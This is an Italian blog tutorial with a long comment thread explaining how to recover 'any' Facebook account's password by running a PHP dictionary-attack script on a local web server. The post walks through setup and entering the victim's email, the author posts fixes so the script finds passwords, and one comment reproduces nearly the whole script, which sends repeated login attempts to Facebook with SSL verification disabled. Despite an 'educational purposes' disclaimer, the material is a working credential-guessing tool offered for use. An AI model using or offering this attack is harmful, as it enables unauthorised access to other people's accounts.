facebook

Nota: L’articolo è stato ovviamente scritto a solo scopo educativo. L’utilizzo di tale tecnica per rubare password altrui è ovviamente illegale.

Ecco un semplice script php realizzato da ac007 che ci permetterà di recuperare facilmente la password di un account facebook il tutto effettuando un semplice attacco a dizionario.
Per iniziare copiamo l’intero script (compreso tra il “<?” e il “?>“) visualizzabile al seguente indirizzo, ed incolliamolo in un comune editor di testo (anche il blocco note di Windows va benissimo) facendo però attenzione a salvare il file con il seguente nome e la seguente estensione: brute.php.

Nota: La sequenza di caratteri”<?” e  “?>” in una pagina web,  serve ad indicare al browser rispettivamente l’inizio e la fine di codice Php.

Ora dobbiamo creare o cercare in rete un dizionario che contenga delle password comuni da sfruttare nel nostro per portare a termine con successo il nostro attacco. Possiamo trovarne uno al seguente indirizzo realizzato da MERCATANTI.

Apriamo adesso il file brute.php e modifichiamo la seguente riga:

$dictionary =dirname(__FILE__)."\wordlist\mil-dic.txt";

in questo modo:

$dictionary =dirname(__FILE__)."\nome_file_dizionario.txt";

Nota: Se abbiamo deciso di utilizzare il file dizionario linkato in questo articolo, il codice da inserire sarà il seguente: $dictionary =dirname(__FILE__).”\PasswordListTA.txt;.
Per iniziare l’attacco dobbiamo caricare lo script e il dizionario in una stessa directory ed avviare successivamente il nostro Web Server Locale (Se siamo utenti Mac possiamo usare Mamp mentre se siamo utenti Windows possiamo usare Wamp).

Puntiamo infine il nostro browser predefinito all’indirizzo del nostro web server locale (di solito l’url è simile alla seguente: “http://localhost:8888/brute.php”) e forniamo l’email dell’account facebook di cui vogliamo conoscere la password per iniziare l’attacco.

Ecco uno screenshot che mostra lo script brute.php appena caricato sul web server locale .

facebook1

Dopo aver inserito l’email di cui si vuole conoscere la password, premiamo sul pulsante Submit per iniziare l’attacco. Il risultato verrà caricato sempre nella stessa pagina (http://localhost:8888/brute.php) e, più precisamente,vedremo scorrere tutte le chiavi presenti nel dizionario (quello usato nella guida è mil-dic.txt) che di volta in volta vengono testate dallo script. Se una delle seguenti chiavi presenti nel dizionario corrisponde alla password della vittima lo script ci fornirà il seguente output: “Password found : password_corrispondente”

Ecco un ulteriore screenshot:

facebook2

Free Download Script PHP






Altri articoli:

176 Comments

  1. MarcoDuff scrive:

    Ok l’articolo, ma almeno scrivi che è illegale farlo e si può essere perseguiti!

  2. marco scrive:

    puoi spiegare meglio la parte di wamp……cmq bello il sito mi puoi indicare un template decente cosi?

    • Paolo Smedile scrive:

      Ciao Marco puoi trovare una guida all’istallazione di Wamp al seguente indirizzo.
      Per quanto riguarda il tema del blog invece posso dirti che per realizzare quello di PcExpert ho preso spunto da vari temi magazine ed in particolare dal tema Comfy ecco una lista. Tuttavia, come puoi vedere, il mio template risulta totalmente diverso poichè ho apportato parecchie modifiche. Ho comunque intenzione di rilasciare ai miei lettori il mio template dopo aver apportato ancora qualche modifica e soprattutto dopo aver risolto qualche piccolo bug grafico ancora presente! A presto continua a seguirmi!

  3. il fabio scrive:

    ciao figo il sito,sono particolarmente interessato a questo articolo,riusciresti a darmi qualche spiegazione in piu x quanto riguarda wamp,mi pare di avere eseguito tutto, ma non capisco dove poi dovrei andare a leggere i risultati.
    grazie in anticipo ciao

    • Paolo Smedile scrive:

      @il fabio
      Ti ringrazio innanzitutto per i complimenti al sito =).
      Poichè il bruteforce viene eseguito attraverso uno script php (il file brute.php) c’è bisogno di creare un ambiente ad hoc per farlo girare. Puoi facilmente ricrearlo in locale sul tuo pc attraverso Wamp che appunto si occupa di creare un web server locale con al suo interno Apache, MySQL e PHP già configurati per funzionare correttamente. Tutto ciò che devi fare è inserire il file brute.php (accompagnato dal file che userai come dizionario) all’interno della root del tuo web server locale e richimarlo tramite browser.

  4. il fabio scrive:

    ^^ grazie spero di non riscontrare ulteriori problemi

    • humus scrive:

      Io uso Xampp finora con questo web server locale non ho riscontrato problemi, però mi dice sempre questo: Fatal error: Call to undefined function curl_init() in C:xamppxampphtdocsFacebookrute.php on line 32.
      Io ho controllato la riga e non c'è nessun errore di sorta.
      che cosa devo fare? Grazie Mille

  5. il fabio scrive:

    mmm ok scusa ma sono proprio impedito,allora ricapitolando:scarico i due file txt. dizionario e scritp,e gia mi sorge una domanda,al link dello script c ne sono due, ho provato con entrambi,suppongo cmq che sia il secondo giusto?

    poi ho installato wamp come nella guida

    ora se non ho capito male copio i due file di testo(gia modificato e rinominato)nella cartella di wamp,poi a questo punto rimango nella nebbia anche a causa di scarsa conoscenza della terminologia specifica XD

    dovrei aprire la pagina di wamp ( http localhost) e aggiungere brute.php? richiamato il file dovrebbe fare tutto da solo e chiedermi solo la mail? hmm e immagino ke sia anche necessario che il server sia online giusto?

    chiedo umilmente scusa x l'ignoranza ma nn è proprio il mio settore

  6. mingo scrive:

    alla fine inserisco la mail e mi blocco perchè non so come andare avanti perchè nel campo sottostante mi dice Click the Submit Button to Start ,,,,che devo fare…?
    grazie

  7. pietr scrive:

    non mi torna, scusa.. nel campo submit rimane soltanto una casella con dentro scritto submit, ma non è cliccabile. a questo punto, inserito l’indirizzo email cosa devo cliccare? nn trovo pulsanti…

  8. mingo scrive:

    no il brute.php è stato copiato pergettamente ma rimane il fatto che alla fine il campo submit è un campo di testo…prova per credere…grazie

  9. no-error scrive:

    Ciao,intanto il sito da publicizzare certamente…poi volevo chiederti gli ultimi passaggi che non ci sto dietro e anche con il wamp non è che lo maneggio!io ho il dizionario e il file brute in una cartella nel desktop e scaricato il wamp e qui mi blocco…come carico nel wamp la cartella e poi come lancio il tutto??
    Intanto grazie

  10. Mylo scrive:

    allora ho fatto tutto come dici tu..nell’istallazione di wamp ho scritto l’email e http://localhost:8888/brute.php.. .dopodicchè ho messo online wamp e adesso questi file dove devo metterli? e sopratutto come faccio a sapere i risultati dell’attacco?protresti essere leggermente più specifico anche per persone che capisco meno in materia ?

    grazie

  11. Mylo scrive:

    Quindi fatto questo mettendo la cartella in locale cosa dovrei fare? Cioè non capisco

  12. Mylo scrive:

    su questo a come mandare un file sul server locale l’avevo capito anchio…il problema è un’altro..il funzionamento .. .che si deve fare dopo questo? lo puoi spiegare si deve attendere li?? o c’è per caso qualcos’altro che si deve fare? a me sembra strano che metto sto file li e devo aspettare la manna dal cielo.. .non pretendo niente . .però se sai di più rispetto a sto discorso spiegati bene e spiega anche il corretto funzionamento.

  13. STE.FA.NO scrive:

    Ciao,
    complimenti per il sito !
    Unico “neo”… è che spesso noi comuni mortali dovremmo essere “guidati passo passo” per far si chè possiamo farcela!!! Ora, essendo io un utente Mac e inesperto di programmazione (insomma ben lontano da quelli che smanettano su PC..) ti chiedrei, anche in nome di tutti se potessi aiutarci facendo una sorta di GUIDA passo passo delle operazioni da fare affinchè tutto funzioni e se ci potessi poi dire DOVE “troveremo” la famosa PASSWORD che stiamo…. CRECANDO…!!!
    (Se sarai chiaro penso che mai più NESSUNO ti “romperà le scatole” con mille domande…!!!1
    Grazie infinite!
    Saluti. Stefano

  14. missed scrive:

    2 domande:

    1) Come mai nello script gli dici di non consderare la lettera r ed n??
    $line=str_replace(“r”,”",$line);
    $line=str_replace(“n”,”",$line);
    Infatti mentre testa le parole queste 2 lettere vengono omesse :-(

    2)Ho provato per testare se funzionava correttamente,con una piccola lista tra cui la mia password ma mi dice not found…com’è possibile??

    • Paolo Smedile scrive:

      In effetti l’autore dello script ha commesso un errore… Le due stringhe:

      $line=str_replace(”r”,”",$line);
      
      $line=str_replace(”n”,”",$line);
      

      Vanno sostituite con la stringa:

      $line=str_replace(”\r\n”,”",$line);
      

      E servono per escludere dal confronto con la passowrd corretta i caratteri “\r\n” che rappresentano la sequenza di caratteri usata per andare a capo su un file di testo.
      Probabilmente era per questo errore che la tua password corretta veniva riconosciuta incorretta dallo script.
      Nel test che ho effettuato io la pass non contenteva nessuno di questi due caratteri e tutto è filato liscio.
      Provvedo a correggere lo script al più presto!
      Grazie per la segnalazione!

  15. mingo scrive:

    il problema per me si rappresenta in due punti…il primo quando richiamo il file brute dopo averlo inserito nella cartella www cioè non lo apre e sono costretto a rinominiarlo come index.php per richiamarlo come localhost.

    il secondo è che nella pagina dell indirizzo mail non compare il tasto submit perchè c’è un errore nel codice…puoi postare uno screen per le stringhe del file brute?

    ti ringrazio

  16. Nicolò scrive:

    Salve a tutti . Non riesco a capire cose devo fare quando dice : ‘Per iniziare copiamo l’intero script (compreso tra il ““) visualizzabile al seguente indirizzo, ed incolliamolo in un comune editor di testo (anche il blocco note di Windows va benissimo) facendo però attenzione a salvare il file con il seguente nome e la seguente estensione: brute.php. ” . Cioè io apro il link ” visualizzabile al seguente indirizzo ” e non capisco cosa fare . Perdonate la mia ignoranza ma non sono molto pratico :) grazie

  17. missed scrive:

    purtroppo lo script continua a dirmi che tutte le password sono “not found”…anche quella vera….
    cosa può essere?

  18. Nicolò scrive:

    Un ulteriore mio problema è ” salvare il file in formato brute php ” . Cioè io copio la serie di caratteri , apro “note ” ed anche qui sono fermo . Grazie ancora per la risposta

  19. antonello scrive:

    innanzitutto complimenti per il sitio

    avevo delle domande da sottoporti: perche a volte quando richiamo il file brute.php da explorer non me lo apre correttamente come dovrebbe mentre altre si?

  20. antonello scrive:

    innanzitutto complimenti per il sitio

    avevo delle domande da sottoporti: perche a volte quando richiamo il file brute.php da explorer non me lo apre correttamente come dovrebbe mentre altre si? le volte che funziona e riesco ad inserire l ‘email da testare mi da un errore che tratta le “cURL”

    per il resto tutto ok
    grazie ciao

  21. antonello scrive:

    L errore dell utente missed capita anche a me…

  22. antonello scrive:

    dice password not found anche con quella giusta….

  23. carmelo scrive:

    ho provato con un piccolo dizionario che contiene la pass giusta ma mi dice :

    Password not found

  24. Alessandra scrive:

    Scusa ma nel link dove copiare lo script non c’è nulla, è stato rimosso o sono io che non riesco a visualizzarlo?

  25. Alessandra scrive:

    Scusami ho visto solo ora che già te l’avevano chiesto!!

  26. antonello scrive:

    ho provato l installazione acho con LAMP (x linux) ma niente anche se la pass è presente nel vocabolario
    dice NOT FOUND.

  27. Alessandra scrive:

    ciao, dopo aver inserito l’inidirizzo mail ed aver premuto submit ottengo il seguente errore:
    Fatal error: Call to undefined function curl_init() in C:\wamp\www\brute.php on line 32

    dove ho sbagliato?

  28. antonello scrive:

    CIAO ALESSANDRA,
    non hai sbagliato hai solo dimenticato di:
    cliccare con il tasto sinistro su l iconcina di wamp, entrare in PHP, estensioni PHP, la seconda è PHP_CURL devi abilitarla
    TUTTO QUI.

    ciao

  29. Alessandra scrive:

    Grazie mille! Ora sta girando…

  30. antonello scrive:

    X alessandra:

    PROVA A mettere nel vocabolario anche la password giusta e vedi se ti da la risposta corretta…
    mi fai sapere
    pleaseeeeeee…
    ciao

  31. Alessandra scrive:

    Non ha funzionato…ho inserito la mia password in una delle prime posizioni ma ha detto ugualmente “password not found”…

    se hai news facci sapere :-)

  32. Alessandra scrive:

    A proposito, non so se è un problema che ho avuto solo io ma ho dovuto modificare l’inizio dello script…invece di <? o messo <?php, altrimenti mi caricava una pagina in cui mi faceva vedere il codice sorgente…

  33. antonello scrive:

    si hai fatto benissiomo ma si trattava solo di abilitare gli short open tag sempre sella sezione PHP, impostazioni PHP (tasto sinistro nell iconcina del wamp.)

  34. antonello scrive:

    chi ha soluzioni per IL PROBLEMA PASSWORD NOT FOUND anche se la password è presente nel dizionario?

    • Paolo Smedile scrive:

      Ho rifatto parecchi test tutti positivi! Infatti lo script è riuscito a trovare la password corretta!
      Sei sicuro di aver apportato la modifica al file brute.php?
      Ne avevo parlato in un commento ma non ho ancora avuto il tempo di aggiornare il post poichè sto lavorando ad un nuovo progetto! =)
      Cmq ecco le righe da modificare nel file brute.php
      Le due stringhe:

      $line=str_replace(”r”,””,$line);

      $line=str_replace(”n”,””,$line);

      Vanno sostituite con la seguete stringa:

      $line=str_replace(”\r\n”,””,$line);

      Fai nuovi test e fammi sapere i risultati!
      Bye!

  35. antonello scrive:

    SI hai ragione tutto funziona!!

    ora pero’ mi hai incuriosito con il tuo “NUOVO PROGETTO” spero ce ne parlerai…
    ciao e grazie

  36. Paolo Smedile scrive:

    Ho aggiornato lo script con le correzzioni sulle varie stringhe che provocavano l’errore dando come output “Password not found” anche se la pass corretta era presente nel dizionario!
    Ora tutto funziona correttamente!
    Vi ricordo che il link corretto è il seguente http://www.pcexpert-blog.com/snippet/brute.txt anche se esso è già presente nell’articolo!
    Bye!

  37. Alessandra scrive:

    Scusate ma come fa a funzionarvi?
    Se sotituisco le righe $line=str_replace(“\r”,”",$line);
    $line=str_replace(“n”,”",$line); con quella $line=str_replace(”\r\n”,””,$line); mi da il seguente errore Parse error: parse error in C:\wamp\www\brute.php on line 78

    Infatti si vede anche nell’editor che intrpreta lo \ come un carattere speciale. Ho anche provato a mettere due righe una con \r e l’altra \n ma in quel caso non mi trova la passoword.
    Potete aiutarmi?

  38. antonello scrive:

    certo alessandra,
    il problema sono gli ” (apici) sostituiscile con shift+2 e vedi che tutto funziona…

  39. antonello scrive:

    per alessandra:

    ah appoposito ti trovo su facebook?

  40. Alessandra scrive:

    Si grazie…quel problema infatti l’ho risolto…ma continua lo stesso a dirmi password not found, ho anche provato a cambiare password e metterne una che non contenga ne la n ne la r ma non funziona….potrebbe essere il sistema operativo? io ho vista

  41. Alessandra scrive:

    Si grazie…ho risolto..ma continua ugualmente a dirmi password not found, ho anche provato a cambiarla e mettere una password che non contiene nel il caratter r ne il carattere n ma non funziona ugualmente

  42. Alessandra scrive:

    si..scrivimi a questo indirizzo che ti dico come trovarmi su facebook sandy29@libero.it

  43. antonello scrive:

    c’è un piccolo problema, se io cambio dizionario e ne metto un altro di 15MB non lo riconosce quando vado a compilare.
    Qualcuno ha la risposta a quest errore??

    • Paolo Smedile scrive:

      @Antonello
      15mb sono troppi per le impostazioni di default che si limitano a soli 2mb.
      Controlla quindi la direttiva upload_max_filesize del file php.ini del tuo web_server locale!

  44. Alessandra scrive:

    Ciao Paolo, nel sorgente che mi hai linkato c’è ancora la funzione di replace $line=str_replace(“r”,”",$line);
    $line=str_replace(“n”,”",$line); forse non è quello aggiornato….sto impazzendo :-)

  45. fabizio scrive:

    scusate ma sono l’unico a cui non funziona proprio??? al posto di caricare la pagine come nello screenshot dell’articola mi visualizza una pagina con quasi tutto lo script e lo spazio in cui inserire l’indirizzo mail…precisamente lo riprende da qst punto :

    $value) { $data.=$key.”=”.urlencode($value).”&”; } return $data; } set_time_limit(0); ini_set(‘output_buffering’,true); $dictionary =dirname(__FILE__).”\PasswordListTA.txt”; // need dictionary to password list function CheckItOut($email,$pass) { $ret=false; $useragent = “Opera/9.21 (Windows NT 5.1; U; tr)”; $data = setData($email,$pass); $ch = curl_init(‘https://login.facebook.com/login.php?login_attempt=1‘); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_ENCODING , “gzip,deflate”); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $data); curl_setopt($ch, CURLOPT_USERAGENT, $useragent); curl_setopt($ch, CURLOPT_COOKIEFILE, dirname(__FILE__).’/cookie.txt’); curl_setopt($ch, CURLOPT_COOKIEJAR, dirname(__FILE__).’/cookie.txt’); $source=curl_exec($ch); $info=curl_getinfo($ch); if($info["redirect_count"]==1) { $ret=true; } return $ret; } echo “Entry Email Address below to Bruteforce…Email Address: Click the Submit Button to Start.. “; if(isset($_POST['username'])) { $username =$_POST['username']; if(!is_file($dictionary)){echo “$dictionary is not file”;exit;} $lines=file($dictionary); echo “Attack Starting..
    “; sleep(3); echo “Attack Started, brute forcing.. ”; foreach($lines as $line) { $line=str_replace(“r”,”",$line); $line=str_replace(“n”,”",$line); if(CheckItOut($username,$line)) { echo “[+] username:$username , password:$line – Password found : $line”; $fp=fopen(‘cookie.txt’,'w’); fwrite($fp,’successfully pass:’.$line); exit; }else{ echo “[-] username:$username , password:$line – Password not found :$line”; } /** * Print the result direct onto the browser screen… */ ob_flush(); flush(); } } ?>

    c’è qualcosa che sbaglio io??? perché onestamente credo d’aver eseguito tutto correttamente

  46. Technotizie.it scrive:

    Trovare la password di un qualsiasi account facebook (attacco a dizionario)…

    Ecco un semplice script php realizzato da ac007 che ci permetterà di recuperare facilmente la password di un account facebook il tutto effettuando un semplice attacco a dizionario. Per iniziare copia……

  47. fabrizio scrive:

    ma non c’è nessuno che si degna di darmi un straccio di risposta?????

  48. Joe scrive:

    Ma lo script è ancora funzionante? Al submit mi dice pagina non trovata.

  49. enzo scrive:

    salve complimenti per il sitoin primis poi volevo sapere a me da il seguente errore:

    Fatal error: Undefined constant '”PasswordListTA' in C:wampwwwbrute.php on line 26

    come lo risolvo??? garzie e ancora complimenti

  50. Luca Mercatanti scrive:

    Ciao,
    Volevo avvisarti che non mi chiamo "Mercatantini", ma "Mercatanti" e il sito non è http://www.mercatanti-lab.com, ma http://www.luca-mercatanti.com

Lascia un commento